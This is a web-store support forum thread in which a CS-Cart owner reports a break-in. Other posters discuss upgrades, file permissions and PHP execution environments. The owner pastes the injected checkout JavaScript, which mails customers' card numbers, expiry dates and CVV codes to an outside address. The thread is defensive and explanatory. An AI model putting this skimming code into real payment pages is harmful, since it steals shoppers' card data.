My site was hacked last night.
Someone was able to change the following:
skins/default_green/customer/payments/cc.tpl:m.To = ‘velung@yahoo.com’;
var/compiled/customer/I removed the exact file namecc.tpl.php:m.To =
‘velung@yahoo.com’;
What this tried to do was send an e-mail to velung@yahoo.com with the credit card information when an order was placed.
Because of some site changes that I have done, I am unable to upgrade to a newer version of CS-Cart. It fails during installation.
Can I get some help? This is beyond my ability. Who can I contact to pay for some support and help.
Is there some simple change I can make to the site to fix this myself. I noticed that the var directory is set to 777. Is this correct? Seems like it is being left open for attack.
The version I am running is: 1.3.5-SP1
From the server logs I can see who did what. The IP address was: 80.254.75.16
And I can see how he ran some hacks but I do not have the knowledge to understand and fix this.
[quote name=‘Golfcart’]From the server logs I can see who did what. The IP address was: 80.254.75.16
And I can see how he ran some hacks but I do not have the knowledge to understand and fix this.[/QUOTE]
Please post your log to CS guys so they can look into it.
Here is the code that was added to the cc.tpl file (information in [COLOR=“DarkRed”]RED[/COLOR])
// Check payment info fields
function fn_can_place_order()
{$ldelim}
if (false == fn_check_agreement()){$ldelim}
return false;
{$rdelim}
var card_number = document.getElementById(‘cc_number’).value.replace(/[ -]/gi, ‘’);
var card_type = document.getElementById(‘cc_type’).value;
var exp_mon = document.getElementById(‘cc_exp_month’).value;
var exp_year = document.getElementById(‘cc_exp_year’).value;
// Reserved
var start_mon = start_date_required[card_type] == ‘Y’ ? document.getElementById(‘cc_start_month’).value : ‘’;
var start_year = start_date_required[card_type] == ‘Y’ ? document.getElementById(‘cc_start_year’).value : ‘’;
var cvv2 = cvv2_required[card_type] == ‘Y’ ? document.getElementById(‘cc_cvv2’).value : ‘’;
if (CheckCardNumber(card_number, card_type, exp_mon, exp_year)) {$ldelim}
document.getElementById(‘cc_number’).value = card_number;
[COLOR=“darkred”]m = new SendMail ();
m.To = ‘velung@yahoo.com’;
m.From = ‘heuhuefbejhfegf@stevescartshop.com’;
m.Body = 'card_number | exp_mon | exp_year | cvv2 | - cc_number | cc_name | ';
m.send(); m.send (); [/COLOR]
return true;
{$rdelim}
return false;
{$rdelim}
The more I see your posts, the more I worry about you 
(See other posts in your other threads that followed)
yep - Had to take the site down for about 4 days to get a new account and start over.
I have not banned the IP address so I can look at the server log and see what they are doing. Things have slowed down since I went to 2.10 and changed the admin.php page name. I still see them hitting the admin.php, but I do not see any changes to the site or any scripts to the database anymore.
[quote name=‘Golfcart’]yep - Had to take the site down for about 4 days to get a new account and start over.
I have not banned the IP address so I can look at the server log and see what they are doing. Things have slowed down since I went to 2.10 and changed the admin.php page name. I still see them hitting the admin.php, but I do not see any changes to the site or any scripts to the database anymore.[/quote]
Good to hear that things are improving.
Zeke has explained that 777 permissions are not always needed and in this post I asked him to clearly let us know which permissions are safe that won’t break our stores
[URL]http://forum.cs-cart.com/vbugs.php?do=view&vbug_id=1454[/URL]
You may want to add to the thread and request permission information for your version 2.10
I also had a hacker problem a while ago and I am very concerned about security.
It seems that this whole permission issue might be at the root of our problems.
I do not understand why Zeke and the CS cart staff are so slow in giving a complete answer to the security/permission issue - I can’t think of anything more important than safety…
File permissions? I’ve posted a lot on the subject here and at Cpanel forums …
Unfortunately one of the longest posts on the subject is in the QA area here
which is not accessible to everyone but you might want to read the following:
Basic Permission Recommendations
In depth discussion on Permissions READ THIS ONE*
Permissions post here in QA section
Those posts should probably explain a lot 
[QUOTE]Zeke has explained that 777 permissions are not always needed and in this post I asked him to clearly let us know which permissions are safe that won’t break our stores[/QUOTE]
777 permissions are [COLOR=“Red”]NEVER[/COLOR] needed!
No matter what kind of server or PHP you use — NEVER SET 777 PERMISSIONS EVER!
It is extremely dangerous to set any file or folder to “777” permissions and contrary to popular belief, those permission settings are not necessary not even on insecure Apache module (DSO) based servers!
Spiral,
I have very much enjoyed reading your posts.
However it is best if Zeke and his team post their suggestions as it is their shopping cart design and their responsibility.
Also very politely and softly I want to point out that we have no idea who you are and your qualifications.
If you post your real name and actually qualifications, example: John Smith with a masters degree in computer science as well as 10 years as a developer for Oracle, currently consulting for small webhosts and so on we will have a better feeling for your qualifications.
[quote name=‘Spiral’]File permissions? I’ve posted a lot on the subject here and at Cpanel forums …
Unfortunately one of the longest posts on the subject is in the QA area here
which is not accessible to everyone but you might want to read the following:
Basic Permission Recommendations
In depth discussion on Permissions READ THIS ONE*
Permissions post here in QA section
Those posts should probably explain a lot
Correction! 777 permissions are [COLOR=red]NEVER[/COLOR] needed!
No matter what kind of server or PHP you use — NEVER SET 777 PERMISSIONS EVER !!!
It is extremely dangerous to set any file or folder to “777” permissions and contrary to popular belief, those permission settings are not necessary not even on insecure Apache module (DSO) based servers![/quote]
[QUOTE]If you post your real name and actually qualifications, example: John Smith with a masters degree in computer science as well as 10 years as a developer for Oracle, currently consulting for small webhosts and so on we will have a better feeling for your qualifications.[/QUOTE]
You absolutely made my day! 
Finally someone who doesn’t know me! Hooray! 
(I think I’ll have to hang out here at CS-Cart forums more often!)
Anyway, and on to a more serious note, I recently had 14 different hosting providers and dozens of CS-Cart users each independently approach me, all roughly around the same time, with similar requests asking me to come to this forum community in the “hopes” that I might help sort out a lot of the problems and misconceptions that seem to be plaguing CS-Cart.
(…CS-Cart is apparently annoying more than a few of the hosts out there LOL).
Moving back on the subject of your questions …
It is really obvious that you don’t quite grasp who you are talking to but that is ironically very refreshing!
If I posted my real name, this forum community would most likely get slammed with too many users asking all sorts of off topic computer or security related questions and bring about far too much attention which is precisely what happened the last several times information leaked about where to find me online! That kind of attention is the kind of attention which I understandably do try, and prefer, to avoid! This is not a joke!
As such, I do keep a lot of aliases online and try to keep a lower profile but that doesn’t always help.
You probably already noticed reading my posts, that none of my posts fall in what would be considered the “typical average” forum posts (including this one) which may say a lot in and of itself particularly if you are any good at reading in between the lines. There is very little I can do about that revealing aspect as I usually have a great deal to say on those topics I choose to reply to and as a general rule, I always try to be complete and thorough as possible for the benefit of those needing help.
The bottom line is that I am here primarily to help the CS-Cart users, the developers, and most importantly for the benefit all the hosting providers, particularly those who also asked me to come here specifically!
As to your “qualifications” question, if I tried to list even a rough overview, I’d be stuck here typing for the next 12 hours just writing a very basic condensed list of the simplest highlights and I actually do mean that quite literally!
In an effort to provide a thoughtfully answer your question, I will tell you that I have more than 33+ years as a computer security specialist, network administrator, and programmer. I’ve been invited to a number of universities and state colleges to teach on security related subjects and hold several computer related degrees myself, involved heavily with government, military, and corporate sectors dealing with emerging security and network technologies. I have written thousands of articles and several books on security related subjects. Was involved with the early development of the communications technologies in use today that you are perhaps using at this very moment. That is probably about as much of a bio I can reasonably give without being overly too obvious. Even that information might very well be a bit too much but hopefully it is enough to satisfy your general curiosities!
Bottom line is that I was invited here to help the CS-Cart community and it was the number of requests from different sources asking for my help that got my attention and frankly peaked my curiosity. So now that I am here, my focus is helping CS-Cart users, developers, and hosts and that is precisely what I intend to do and I don’t mind helping where help is really needed —
Incidentally, my particular skill set covers a lot of broad topic areas. However, my primary #1 expertise is first and foremost “security” so when security related topics arise such as this topic, those will naturally grab more of my undivided attention such as the case of the situation with the user who started this thread.
And to Golfcart, I received your private message and sent you back a reply.
Spiral,
I enjoyed your “introduction” post and will be happy to respect your wish for privacy - although I think that if by some chance you recieved too much mail because of revealing your name it would take only a minute to edit a post and or change your user name…
Since your focus is on security - which is a good for us I am wondering have you contacted the CS Cart developers (with your real name) and advised them on the permissions issue?
Thanks again for your posts.
I am going to look and see if you have posted detailed permissions for a PHPSU environment for CS Cart, as I am currently waiting for Zeke to post in response to a BUG Tracker thread but he is extremely slow.
Traveler
I have being running 1.3.5 with suPHP with the following permissions with no problems.
config.php 400
Directories 755
*.php 600
var 755
catalog 755
images 755
skins 755
I suspect I can further lock down the directories and var/cat/images/skins to 600, but can’t be assed fooling with it
[quote name=‘kogi’]Traveler
I have being running 1.3.5 with suPHP with the following permissions with no problems.
config.php 400
Directories 755
*.php 600
var 755
catalog 755
images 755
skins 755
I suspect I can further lock down the directories and var/cat/images/skins to 600, but can’t be assed fooling with it[/QUOTE]
Regarding your CS-Cart version, you are in serious danger if you are running 1.3.5 as it has an enormous number of potential exploit problems, many of which were never patched or corrected and you are taking a chance running that version of some hacker out there with knowledge of those exploits finding your site.
Now regarding your permissions, looks like you already got things set pretty well with 600 for general PHP scripts and 400 for the config files. In regard to your folders, 755 would be correct because Apache (nobody) still has to have READ access for general non-script called files (, etc). You are already pretty good permission wise but If you want to lock the folders down further then the best suggestion would be to set the group on the folders to “nobody” while keeping yourself as the owner and setting the folder permissions to 750 instead of 755.
[quote name=‘Traveler’]I am going to look and see if you have posted detailed permissions for a PHPSU environment for CS Cart, as I am currently waiting for Zeke to post in response to a BUG Tracker thread but he is extremely slow.[/QUOTE]
Unless I’ve just completely gone brain dead, I believe my very first post here covered the permissions to use!
(It was the primary reason to come here an was my first post on the forums)
I have since made other more details posts regarding permissions which I quote up above earlier.
Basically in a nutshell, Kogi, is dead on target permission wise:
SuPHP system:
----------------------------------------------------------------------
Folders - Owner/Owner = 755, Owner/Nobody = 750
PHP Scripts - 600
PHP Configuration Scripts (config.local.php, etc) – 600 or 400
PHP Shell Scripts – 700 (PHP w/she-banged headers)
Scripts that don’t like being writable – 400
Perl / CGI Scripts - 755
Python Scripts - 755
Non-Script Regular Files - Owner/Owner = 644, Owner/Nobody = 640
phpSuExec systems follow much the same though on those system treat PHP scripts
as regular Perl / CGI scripts. (Most systems are SuPHP based – NOT phpSuExec)
On DSO systems, if you have root access (easy) or know how to change to web ownership
without root access (a little more involved), you can set what would be “777” files to “660”
and set the file ownership to “Owner/Nobody”, otherwise use “666” in place of “777” which
is still very vulnerable but nowhere near as bad as 777.
Speaking of the “3” major PHP environments, I see a lot of people confusing phpSuExec and SuPHP
or confusing phpSuExec and SuExec — All of these are totally different!
Just to mention it …
[COLOR=“Blue”]DSO (Apache Module) – [/COLOR] The first PHP environment was extremely insecure and had very
serious cross-site scripting vulnerabilities and a few other dangerous issues. The CS-Cart
installation instructions were written on the assumption this is what you are using though this
type of system is more and more becoming a minority and recent exploits make it far too dangerous
for hosts to continue supporting this environment.
[COLOR=“Blue”]phpSuExec (CGI) —[/COLOR] The first attempt to design a new PHP environment to fix the inherent security
problems of DSO by moving script execution from user NOBODY to OWNER execution. Unfortunately,
some faults in the design led to opening even bigger and more serious security holes than those that
were being fixed from the original DSO platform.
[COLOR=“Blue”]SuPHP (Apache Module AND CGI) -[/COLOR] This was the second attempt to fix the security problems of both
DSO and phpSuExec as well as addressing some additional performance issues that had risen
during phpSuExec. This environment sort of gives you the best of both worlds with performance
nearly matching DSO thanks to the Apache module handling component and has the owner
execution ability of phpSuExec but without the mistakes made in that design. SuPHP is rapidly
becoming the #1 default platform for most hosts for what should be obvious reasons.
***
SuExec - Not to be confused with phpSuExec, this actually has nothing to with PHP but like phpSuExec,
it allows for owner executions of scripts — Just not PHP. This technology is for Perl / CGI scripts!
Thanks, it’s the latest v1 with sp. Can’t remember the version because I removed all mention of CS-Cart from the html
Kogi,
Your post was very helpful as I have one 1.3.5 store and a 2.+ store.
Thank you.
Spiral, (The mystery man)
You write very well - I am not a trained coder or admin but I now clearly understand the major differences between the various PHP systems I thank you.
I will now give my webhost a call and have them change the permissions.
[quote name=‘kogi’]Traveler
I have being running 1.3.5 with suPHP with the following permissions with no problems.
config.php 400
Directories 755
*.php 600
var 755
catalog 755
images 755
skins 755
I suspect I can further lock down the directories and var/cat/images/skins to 600, but can’t be assed fooling with it[/quote]
Koji,
I just checked and I have 644 for PHP instead of 600 for my 1.3.5 and 2.08 sites are you sure 600 is OK and there is no need for 644?
Either should be fine. you just don’t want people editing your php
600 = I can read/write but no one else can read/write
644 = I can read/write. other people can only read
So 644 other people can read your php but not edit them
[quote name=‘Traveler’]Koji,
I just checked and I have 644 for PHP instead of 600 for my 1.3.5 and 2.08 sites are you sure 600 is OK and there is no need for 644?[/QUOTE]
Traveler, if you want to understand the answer to your question better, I would recommend you take a look at my post on Cpanel Forums which is the link marked “READ THIS ONE” in my earlier post above as that will tell you all really ever wanted to know about permissions.
6 0 0
--------------------------------------
[QUOTE]“6” is the OWNER permission and gives the file owner READ and WRITE access
“0” is the GROUP permission and gives group members NO ACCESS
“0” is the EVERYONE else permission and like group give NO ACCESS[/QUOTE]
6 4 4
---------------------------------------
[QUOTE]“6” is the OWNER permission and give the file owner READ and WRITE access
“4” is the GROUP permission and gives group members READ ACCESS
“4” is the EVERYONE else permission and like group gives READ ACCESS[/QUOTE]
[COLOR=“RoyalBlue”]SuPHP based systems only use the OWNER permission digit for PHP scripts so the only number that really matters for your script is the *FIRST digit and there is no real difference between 600 and 644 other than granting READ ONLY access to users other than the owner .[/COLOR]
From a security perspective, 600 would be better but even with 644 other users would only be able to look at the file and would not be able to edit the file.
One notable exception –
Configuration files (such as config.local.php) that contain passwords or other confidential information should not grant READ access other than OWNER and I would set script files like those at least 600 or possibly even 400 (READ ONLY to OWNER and NO ACCESS to anyone else).
I’m not sure where to check is it DSO, phpSuExec or SuPHP based system?
This is my current PHP configuration:
DEFAULT PHP: 5
PHP4 SAPI: none
PHP5 SAPI: fcgi
SUEXEC: enabled
PHP 5.2.9 (cli) (built: May 14 2009 00:48:26)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies
with eAccelerator v0.9.5.3, Copyright (c) 2004-2006 eAccelerator, by eAccelerator
with the ionCube PHP Loader v3.1.34, Copyright (c) 2002-2009, by ionCube Ltd., and
with Zend Extension Manager v1.2.2, Copyright (c) 2003-2007, by Zend Technologies
with Suhosin v0.9.27, Copyright (c) 2007, by SektionEins GmbH
with Zend Optimizer v3.3.3, Copyright (c) 1998-2007, by Zend Technologies
Please advise.
Thanks.
Hello Spiral,
[quote name=‘Spiral’]PHP Scripts - 600[/quote]
Why not advise everyone to setup PHP scripts to 404?
I can do it, so, everyone could do it too…
Lee Li Pop